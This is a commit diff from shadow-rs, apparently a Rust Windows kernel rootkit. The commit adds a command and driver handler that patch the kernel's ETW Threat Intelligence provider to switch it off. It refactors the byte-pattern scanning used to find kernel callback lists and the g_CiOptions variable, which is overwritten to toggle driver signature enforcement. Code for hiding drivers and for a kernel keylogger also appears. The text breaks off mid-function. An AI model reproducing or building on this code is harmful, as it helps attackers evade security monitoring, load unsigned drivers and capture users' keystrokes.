mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-19 00:04:19 +01:00
feat: Refactor code to add ETWTI functionality and remove duplication, integrating scan_for_pattern for optimization
This commit is contained in:
@@ -266,6 +266,17 @@ pub enum MisCommands {
|
||||
#[arg(long)]
|
||||
start: bool,
|
||||
},
|
||||
|
||||
/// Operations related to ETWTI.
|
||||
Etwti {
|
||||
/// Disable ETWTI.
|
||||
#[arg(long)]
|
||||
disable: bool,
|
||||
|
||||
/// Enable ETWTI.
|
||||
#[arg(long)]
|
||||
enable: bool,
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing the subcommands for module operations.
|
||||
|
||||
@@ -9,17 +9,17 @@ use {
|
||||
env_logger::Builder,
|
||||
};
|
||||
use modules::{
|
||||
callback::{enumerate_callback, remove_callback, restore_callback},
|
||||
driver::{enumerate_driver, unhide_hide_driver},
|
||||
injection::{injection_apc, injection_thread},
|
||||
misc::{dse, keylogger},
|
||||
misc::{dse, etwti, keylogger},
|
||||
module::{enumerate_module, hide_module},
|
||||
callback::{enumerate_callback, remove_callback, restore_callback},
|
||||
driver::{enumerate_driver, unhide_hide_driver},
|
||||
injection::{injection_apc, injection_thread},
|
||||
thread::{enumerate_thread, hide_unhide_thread},
|
||||
process::{
|
||||
elevate_process,
|
||||
enumerate_process, hide_unhide_process,
|
||||
signature_process, terminate_process
|
||||
},
|
||||
thread::{enumerate_thread, hide_unhide_thread}
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
@@ -163,6 +163,15 @@ fn main() {
|
||||
keylogger(IOCTL_KEYLOGGER, false);
|
||||
}
|
||||
},
|
||||
MisCommands::Etwti { disable, enable } => {
|
||||
if *enable {
|
||||
info!("Enable ETWTI");
|
||||
etwti(IOCTL_ETWTI, true);
|
||||
} else if *disable {
|
||||
info!("Disable ETWTI");
|
||||
etwti(IOCTL_ETWTI, false);
|
||||
}
|
||||
},
|
||||
},
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
use {
|
||||
log::*,
|
||||
crate::utils::open_driver,
|
||||
shared::structs::{Keylogger, DSE},
|
||||
shared::structs::{Keylogger, DSE, ETWTI},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError},
|
||||
@@ -47,9 +47,13 @@ pub fn dse(ioctl_code: u32, enable: bool) {
|
||||
pub fn keylogger(ioctl_code: u32, state: bool) {
|
||||
let h_file = open_driver().expect("Failed open driver");
|
||||
let mut return_buffer = 0;
|
||||
|
||||
debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" });
|
||||
let mut keylogger = Keylogger {
|
||||
enable: state
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
@@ -74,3 +78,38 @@ pub fn keylogger(ioctl_code: u32, state: bool) {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn etwti(ioctl_code: u32, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed open driver");
|
||||
let mut return_buffer = 0;
|
||||
|
||||
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
let mut etwti = ETWTI {
|
||||
enable
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut etwti as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<ETWTI>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("ETWTI {}", if enable { "enable" } else { "disable" })
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
3
driver/.gitignore
vendored
3
driver/.gitignore
vendored
@@ -1,4 +1,3 @@
|
||||
/target
|
||||
/src/backup
|
||||
/src/misc/memory.rs
|
||||
/src/misc/etw.rs
|
||||
/src/misc/memory.rs
|
||||
@@ -34,4 +34,7 @@ panic = "abort"
|
||||
[features]
|
||||
mapper = []
|
||||
|
||||
[package.metadata.wdk]
|
||||
[package.metadata.wdk.driver-model]
|
||||
driver-type = "KMDF"
|
||||
kmdf-version-major = 1
|
||||
target-kmdf-version-minor = 33
|
||||
@@ -1,8 +1,7 @@
|
||||
use shared::vars::Callbacks;
|
||||
use crate::{includes::structs::FULL_OBJECT_TYPE, utils};
|
||||
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
|
||||
use obfstr::obfstr;
|
||||
use core::ptr::null_mut;
|
||||
use shared::vars::Callbacks;
|
||||
use crate::{includes::structs::FULL_OBJECT_TYPE, utils::{self, patterns::scan_for_pattern}};
|
||||
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
|
||||
|
||||
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
||||
///
|
||||
@@ -13,47 +12,12 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> {
|
||||
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x14);
|
||||
|
||||
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
|
||||
let instructions = [0xE8];
|
||||
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14, i32::from_le_bytes)?;
|
||||
|
||||
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
|
||||
let position = y + 1;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
|
||||
let call_address = function_address.cast::<u8>().offset(y as isize);
|
||||
// 4883c428 add rsp,28h
|
||||
let next_address = call_address.cast::<u8>().offset(5);
|
||||
let psp_set_create_process = next_address.offset(offset as isize);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98);
|
||||
|
||||
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
|
||||
let instructions = [0x4C, 0x8D, 0x2D];
|
||||
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| y == instructions) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
|
||||
let lea_address = psp_set_create_process.cast::<u8>().offset(x as isize);
|
||||
// 488d0cdd00000000 lea rcx,[rbx*8]
|
||||
let next_address = lea_address.offset(7);
|
||||
let psp_set_create_process = next_address.offset(offset as isize);
|
||||
|
||||
return Some(psp_set_create_process)
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
let instructions = [0x4C, 0x8D, 0x2D];
|
||||
scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98, i32::from_le_bytes)
|
||||
}
|
||||
|
||||
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
|
||||
@@ -64,29 +28,10 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> {
|
||||
unsafe fn find_ps_create_thread() -> Option<*mut u8> {
|
||||
let mut name = utils::uni::str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
|
||||
|
||||
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
|
||||
let instructions = [0x48, 0x8D, 0x0D];
|
||||
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
|
||||
let lea_address = function_address.cast::<u8>().offset(x as isize);
|
||||
// 488d2cf9 lea rbp,[rcx+rdi*8]
|
||||
let next_address = lea_address.offset(7);
|
||||
let psp_set_create_thread = next_address.offset(offset as isize);
|
||||
|
||||
return Some(psp_set_create_thread);
|
||||
}
|
||||
|
||||
None
|
||||
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
|
||||
}
|
||||
|
||||
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
|
||||
@@ -96,30 +41,11 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> {
|
||||
///
|
||||
unsafe fn find_ps_load_image() -> Option<*mut u8> {
|
||||
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
|
||||
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
|
||||
let instructions = [0x48, 0x8D, 0x0D];
|
||||
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
|
||||
let lea_address = function_address.cast::<u8>().offset(x as isize);
|
||||
// 488d2cf9 lea rbp,[rcx+rdi*8]
|
||||
let next_address = lea_address.offset(7);
|
||||
let psp_load_image = next_address.offset(offset as isize);
|
||||
|
||||
return Some(psp_load_image);
|
||||
}
|
||||
|
||||
None
|
||||
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
|
||||
}
|
||||
|
||||
/// Finds the address of the `CmRegisterCallbackEx` routine.
|
||||
@@ -130,99 +56,29 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
|
||||
unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
|
||||
let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
let mut callback_list_header = null_mut();
|
||||
let mut callback_count = null_mut();
|
||||
let mut callback_list_lock = null_mut();
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
|
||||
|
||||
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08)
|
||||
let register_internal_pattern = [0xE8];
|
||||
let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50, i32::from_le_bytes)?;
|
||||
|
||||
// 488bcb mov rcx,rbx
|
||||
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
|
||||
let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
|
||||
let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108, i32::from_le_bytes)?;
|
||||
|
||||
if let Some(x) = function_bytes.windows(register_internal_pattern.len()).position(|y| y == register_internal_pattern) {
|
||||
let position = x + 1;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff803`210e2b08)
|
||||
let call_address = function_address.cast::<u8>().offset(x as isize);
|
||||
// 4883c438 add rsp,38h
|
||||
let next_address = call_address.offset(5);
|
||||
let register_callback_internal = next_address.offset(offset as isize);
|
||||
// 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)]
|
||||
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
|
||||
let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(register_callback_internal, 0x108);
|
||||
// 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)]
|
||||
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
|
||||
let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
|
||||
|
||||
// 488bcb mov rcx,rbx
|
||||
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
|
||||
let insert_pattern = [0x8B, 0xCB, 0xE8];
|
||||
// f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)]
|
||||
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
|
||||
let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
|
||||
|
||||
if let Some(x) = function_bytes.windows(insert_pattern.len()).position(|y| y == insert_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
|
||||
let call_insert_address = register_callback_internal.cast::<u8>().offset((x + 2) as isize);
|
||||
// 488b4c2458 mov rcx,qword ptr [rsp+58h]
|
||||
let next_address = call_insert_address.offset(5);
|
||||
let insert_call_address = next_address.offset(offset as isize);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(insert_call_address, 0x200);
|
||||
|
||||
// 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)]
|
||||
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
|
||||
// 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)]
|
||||
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
|
||||
// f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)]
|
||||
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
|
||||
|
||||
if let Some(x) = function_bytes.windows(cmp_callback_list_lock_pattern.len()).position(|y| y == cmp_callback_list_lock_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
|
||||
let next_address = lea_address.offset(7);
|
||||
callback_list_lock = next_address.offset(offset as isize);
|
||||
};
|
||||
|
||||
if let Some(x) = function_bytes.windows(callback_list_head_pattern.len()).position(|y| y == callback_list_head_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
|
||||
let next_address = lea_address.offset(7);
|
||||
callback_list_header = next_address.offset(offset as isize);
|
||||
};
|
||||
|
||||
if let Some(x) = function_bytes.windows(cmp_callback_count_pattern.len()).position(|y| y == cmp_callback_count_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
|
||||
let next_address = lea_address.offset(7);
|
||||
callback_count = next_address.offset(offset as isize);
|
||||
};
|
||||
}
|
||||
|
||||
if !callback_list_header.is_null() && !callback_count.is_null() && !callback_list_lock.is_null() {
|
||||
return Some((callback_list_header, callback_count, callback_list_lock));
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
Some((callback_list_header, callback_count, callback_list_lock))
|
||||
}
|
||||
|
||||
/// Finds the address of the `ObRegisterCallbacks` routine.
|
||||
@@ -240,7 +96,7 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJEC
|
||||
let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE };
|
||||
Some(object_type)
|
||||
},
|
||||
_ => return None
|
||||
_ => None
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,21 +1,12 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
spin::{mutex::Mutex, lazy::Lazy},
|
||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
core::sync::atomic::{AtomicPtr, Ordering},
|
||||
alloc::{string::String, vec::Vec, boxed::Box},
|
||||
crate::utils::{address::{get_function_address, get_module_base_address}, uni},
|
||||
shared::{
|
||||
crate::utils::{address::{get_function_address, get_module_base_address}, patterns::scan_for_pattern, uni}, alloc::{boxed::Box, string::String, vec::Vec}, core::sync::atomic::{AtomicPtr, Ordering}, ntapi::ntldr::LDR_DATA_TABLE_ENTRY, obfstr::obfstr, shared::{
|
||||
structs::{
|
||||
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY,
|
||||
TargetDriver
|
||||
DriverInfo, HiddenDriverInfo, TargetDriver, DSE, LIST_ENTRY
|
||||
},
|
||||
vars::MAX_DRIVER
|
||||
},
|
||||
wdk_sys::{
|
||||
ntddk::MmGetSystemRoutineAddress, STATUS_INVALID_PARAMETER,
|
||||
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
||||
},
|
||||
}, spin::{lazy::Lazy, mutex::Mutex}, wdk_sys::{
|
||||
ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_INVALID_PARAMETER, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
||||
}
|
||||
};
|
||||
|
||||
pub mod ioctls;
|
||||
@@ -36,13 +27,11 @@ impl Driver {
|
||||
///
|
||||
pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS {
|
||||
let name = &(*driver).name;
|
||||
let status = if (*driver).enable {
|
||||
if (*driver).enable {
|
||||
Self::hide_driver(name)
|
||||
} else {
|
||||
Self::unhide_driver(name)
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
}
|
||||
|
||||
/// Hides the driver by unlinking it from the loaded module list.
|
||||
@@ -110,10 +99,10 @@ impl Driver {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||
///
|
||||
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS {
|
||||
unsafe fn unhide_driver(driver_name: &str) -> NTSTATUS {
|
||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||
|
||||
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) {
|
||||
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name) {
|
||||
let driver = &driver_info[index];
|
||||
let list_entry = driver.list_entry.load(Ordering::SeqCst);
|
||||
if list_entry.is_null() {
|
||||
@@ -198,43 +187,19 @@ impl Driver {
|
||||
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {
|
||||
let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
|
||||
|
||||
// mov ecx,ebp
|
||||
let instructions = [0x8B, 0xCD];
|
||||
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||
let position = y + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(u32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
|
||||
// mov rbp,r9
|
||||
let instructions = [0x49, 0x8b, 0xE9];
|
||||
let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
// mov rbp,r9
|
||||
let instructions = [0x49, 0x8b, 0xE9];
|
||||
|
||||
let c_ip_initialize_slice = core::slice::from_raw_parts(c_ip_initialize as *const u8, 0x21);
|
||||
|
||||
if let Some(i) = c_ip_initialize_slice.windows(instructions.len()).position(|windows| *windows == instructions) {
|
||||
let position = i + 5;
|
||||
let offset = c_ip_initialize_slice[position..position + 4]
|
||||
.try_into()
|
||||
.map(u32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let new_offset = 0xffffffff00000000 + offset as u64;
|
||||
let new_base = c_ip_initialize.cast::<u8>().offset((position + 4) as isize);
|
||||
let g_ci_options = new_base.cast::<u8>().offset(new_offset as isize);
|
||||
|
||||
if (*info_dse).enable {
|
||||
*(g_ci_options as *mut u64) = 0x0006 as u64;
|
||||
} else {
|
||||
*(g_ci_options as *mut u64) = 0x000E as u64;
|
||||
}
|
||||
}
|
||||
if (*info_dse).enable {
|
||||
*(g_ci_options as *mut u64) = 0x0006_u64;
|
||||
} else {
|
||||
*(g_ci_options as *mut u64) = 0x000E_u64;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -227,7 +227,7 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
||||
}
|
||||
|
||||
let mut interval = LARGE_INTEGER {
|
||||
QuadPart: -1 * (50 * 10000 as i64),
|
||||
QuadPart: -1 * -(50 * 10000_i64),
|
||||
};
|
||||
|
||||
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||
@@ -292,7 +292,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS
|
||||
}
|
||||
|
||||
// Creating callbacks related to registry operations
|
||||
let mut altitude = uni::str_to_unicode("31122.6172").to_unicode();
|
||||
let mut altitude = uni::str_to_unicode("31422.6172").to_unicode();
|
||||
status = CmRegisterCallbackEx(
|
||||
Some(registry_callback),
|
||||
&mut altitude,
|
||||
|
||||
53
driver/src/misc/etwti.rs
Normal file
53
driver/src/misc/etwti.rs
Normal file
@@ -0,0 +1,53 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
shared::structs::ETWTI,
|
||||
crate::utils::{patterns::scan_for_pattern, uni},
|
||||
wdk_sys::{
|
||||
ntddk::MmGetSystemRoutineAddress,
|
||||
NTSTATUS, STATUS_UNSUCCESSFUL
|
||||
}
|
||||
};
|
||||
|
||||
/// Represents ETW in the operating system.
|
||||
pub struct Etw;
|
||||
|
||||
impl Etw {
|
||||
/// Enables or disables ETW tracing by manipulating the `ETWTI` structure.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing.
|
||||
///
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn etwti_enable_disable(info: *mut ETWTI) -> Result<(), NTSTATUS> {
|
||||
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut function_name);
|
||||
let pattern = [
|
||||
0x33, 0xD2, // 33d2 xor edx,edx
|
||||
0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff807`41c19918)]
|
||||
];
|
||||
|
||||
let etwi_handle = scan_for_pattern(function_address, &pattern, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
|
||||
(*trace_info).is_enabled = if (*info).enable {
|
||||
0x01
|
||||
} else {
|
||||
0x00
|
||||
};
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct TRACE_ENABLE_INFO {
|
||||
is_enabled: u32,
|
||||
level: u8,
|
||||
reserved1: u8,
|
||||
loggerid: u16,
|
||||
enable_property: u32,
|
||||
reserved2: u32,
|
||||
match_any_keyword: u64,
|
||||
match_all_keyword: u64
|
||||
}
|
||||
@@ -1,11 +1,11 @@
|
||||
use {
|
||||
super::keylogger::set_keylogger_state,
|
||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER},
|
||||
structs::{Keylogger, DSE}},
|
||||
hashbrown::HashMap,
|
||||
shared::structs::{Keylogger, DSE, ETWTI},
|
||||
super::keylogger::set_keylogger_state,
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||
shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI},
|
||||
crate::{driver::Driver, handle_driver, misc::etwti::Etw, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
@@ -13,9 +13,7 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Responsible for enabling/disabling DSE.
|
||||
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENABLE_DSE");
|
||||
|
||||
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
match status {
|
||||
@@ -29,6 +27,19 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
log::info!("Received IOCTL_KEYLOGGER");
|
||||
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Responsible for enabling/disabling ETWTI.
|
||||
ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ETWTI");
|
||||
let status = unsafe { handle_driver!(stack, Etw::etwti_enable_disable, ETWTI) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -1,23 +1,23 @@
|
||||
use {
|
||||
keys::VK_CHARS,
|
||||
obfstr::obfstr,
|
||||
shared::structs::Keylogger,
|
||||
core::{ffi::c_void, mem::size_of},
|
||||
crate::{
|
||||
get_ks_byte, get_ks_down_bit,
|
||||
is_key_down, set_key_down,
|
||||
includes::MmCopyVirtualMemory, process::Process,
|
||||
get_ks_byte, get_ks_down_bit, includes::MmCopyVirtualMemory,
|
||||
is_key_down, process::Process, set_key_down,
|
||||
utils::{
|
||||
address::{get_address_asynckey, get_module_base_address},
|
||||
get_process_by_name, process_attach::ProcessAttach
|
||||
get_process_by_name, patterns::scan_for_pattern,
|
||||
process_attach::ProcessAttach
|
||||
}
|
||||
},
|
||||
core::{ffi::c_void, mem::size_of},
|
||||
keys::VK_CHARS,
|
||||
obfstr::obfstr,
|
||||
shared::structs::Keylogger,
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
IoGetCurrentProcess, KeDelayExecutionThread,
|
||||
PsTerminateSystemThread,
|
||||
},
|
||||
LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS, _MODE::KernelMode,
|
||||
LARGE_INTEGER, NTSTATUS, STATUS_SUCCESS, _MODE::KernelMode,
|
||||
}
|
||||
};
|
||||
|
||||
@@ -63,7 +63,7 @@ fn vk_to_char(key: u8) -> &'static str {
|
||||
/// # Parameters
|
||||
/// - `address`: Array address `gafAsyncKeyState`.
|
||||
///
|
||||
unsafe fn update_key_state(address: *mut c_void) {
|
||||
unsafe fn update_key_state(address: *mut u8) {
|
||||
